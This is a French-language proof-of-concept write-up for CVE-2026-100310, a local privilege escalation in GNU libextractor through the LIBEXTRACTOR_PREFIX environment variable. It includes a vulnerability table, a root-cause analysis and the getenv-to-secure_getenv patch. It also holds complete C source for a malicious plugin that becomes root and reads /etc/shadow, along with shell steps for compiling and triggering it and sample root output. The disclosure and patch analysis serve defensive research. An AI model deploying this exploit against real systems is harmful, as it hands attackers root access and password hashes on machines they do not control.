
Preuve de concept pour CVE-2026-100310, une élévation de privilèges locale dans GNU libextractor ≤1.15 via le chemin de recherche non fiable LIBEXTRACTOR_PREFIX, avec code d'exploitation et analyse du correctif.
Le mécanisme de chargement des plugins de GNU libextractor utilise la variable d'environnement LIBEXTRACTOR_PREFIX pour déterminer le répertoire à partir duquel charger les bibliothèques partagées (plugins .so). Comme il utilise getenv() au lieu de secure_getenv(), cette variable d'environnement n'est pas supprimée lorsqu'un processus s'exécute avec des privilèges élevés. Un attaquant peut définir LIBEXTRACTOR_PREFIX vers un répertoire malveillant, forçant toute application qui charge des plugins libextractor à exécuter du code arbitraire.
Impact principal : Élévation de privilèges locale (LPE) vers root.
| Champ | Valeur |
|---|---|
| CVE | CVE-2026-100310 |
| Produit | GNU libextractor |
| Versions affectées | >= 0, < 1.16 |
| Version corrigée | 1.16 |
| CVSS 4.0 | 7.3 ÉLEVÉ (CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) |
| Sévérité | ÉLEVÉE |
| CWE | CWE-426 (Chemin de recherche non fiable) |
| Vecteur d'attaque | Local |
| Privilèges requis | Faibles |
| Interaction utilisateur | Aucune |
| CNA | VulnCheck |
| Chercheur | Haitam Lazaar |
Remarque : Pour que cette vulnérabilité entraîne une élévation de privilèges locale, un administrateur doit avoir configuré un binaire lié à
libextractoravec le bitsetuid. Bien quelibextractorlui-même ne soit pas livré avec un binairesetuid, tout processus privilégié ou démon système qui lie dynamiquement cette bibliothèque et ne parvient pas à assainir manuellement l'environnement est vulnérable à une compromission totale.
setuid ou démon privilégié lié à libextractor
L'animation ci-dessus illustre l'exploit. L'attaquant compile une bibliothèque partagée malveillante (evil_plugin.c) et la place dans /tmp/evil_plugins. En exécutant un binaire setuid qui utilise libextractor et en préfixant la commande par LIBEXTRACTOR_PREFIX=/tmp/evil_plugins, l'éditeur de liens dynamique charge le plugin malveillant avec des privilèges élevés. Cela exécute immédiatement des commandes arbitraires en tant que root, comme le démontre l'écriture de la sortie de id et du fichier restreint /etc/shadow dans /tmp/privesc_proof.
La vulnérabilité est principalement déclenchée en exploitant la variable d'environnement LIBEXTRACTOR_PREFIX.
(Remarque : libextractor contient également des mécanismes de repli non sécurisés secondaires utilisant /proc/PID/maps et des répertoires PATH inscriptibles, mais l'injection par variable d'environnement est le vecteur d'attaque le plus direct et le plus fiable).
/*
* evil_plugin.c — Malicious libextractor plugin for privilege escalation
* Compile: gcc -shared -fPIC -o libextractor_ole2.so evil_plugin.c
*
* Place in a directory and set LIBEXTRACTOR_PREFIX to that directory.
* When any setuid application loads the OLE2 plugin, this constructor
* escalates to full root (uid=0, gid=0) and runs arbitrary commands.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor))
void pwn(void) {
/* Escalate: euid=0 allows setuid(0) which sets real uid=0 */
setuid(0);
setgid(0);
/* Now running as full root — shell commands work */
system("echo '=== PRIVILEGE ESCALATION PROOF ===' > /tmp/privesc_proof");
system("id >> /tmp/privesc_proof");
system("echo '' >> /tmp/privesc_proof");
system("echo '--- /etc/shadow (root-only) ---' >> /tmp/privesc_proof");
system("head -3 /etc/shadow >> /tmp/privesc_proof");
}
int _EXTRACTOR_ole2_extract_method = 0;
Testé sur Ubuntu 24.04 avec libextractor 1.14 :
# 1. Compile the malicious plugin
mkdir -p /tmp/evil_plugins
gcc -shared -fPIC -o /tmp/evil_plugins/libextractor_ole2.so evil_plugin.c
# 2. Simulate the misconfigured (setuid) target binary
sudo chown root:root /usr/local/bin/extract
sudo chmod u+s /usr/local/bin/extract
# 3. Trigger the exploit as an unprivileged user
rm -f /tmp/privesc_proof
LIBEXTRACTOR_PREFIX=/tmp/evil_plugins /usr/local/bin/extract testfile.doc
$ cat /tmp/privesc_proof
=== PRIVILEGE ESCALATION PROOF ===
uid=0(root) gid=0(root) groups=0(root),1000(user)
--- /etc/shadow (root-only) ---
root:!:20223:0:99999:7:::
daemon:*:19977:0:99999:7:::
bin:*:19977:0:99999:7:::
Dans src/main/extractor_plugpath.c, la fonction get_installation_paths() appelle le getenv() standard :
if (NULL != (p = getenv("LIBEXTRACTOR_PREFIX")))
Comme elle n'utilise pas secure_getenv(), l'éditeur de liens dynamique ne supprime pas cette variable lorsque le binaire est exécuté avec des privilèges élevés (contrairement à LD_PRELOAD ou LD_LIBRARY_PATH). lt_dlopenadvise() charge ensuite aveuglément libextractor_<name>.so depuis le chemin contrôlé par l'attaquant.
Le mainteneur a corrigé ce problème dans la version 1.16 en remplaçant getenv() par secure_getenv(), qui renvoie NULL lorsque le processus s'exécute avec des privilèges élevés (euid != uid).
- if (NULL != (p = getenv ("LIBEXTRACTOR_PREFIX")))
+ if (NULL != (p = secure_getenv ("LIBEXTRACTOR_PREFIX")))
Découvert par moi-même (Haitam Lazaar) lors de mes recherches indépendantes en sécurité.
Remerciements particuliers à Christian Grothoff, le mainteneur de GNU libextractor, pour son triage incroyablement rapide, sa communication professionnelle et le déploiement rapide de correctifs (v1.15, v1.16 et v1.17) afin de résoudre ce problème ainsi que plusieurs autres problèmes de sécurité mémoire signalés lors de cet audit.
Mes recherches sont fournies à des fins éducatives et défensives. À utiliser de manière responsable.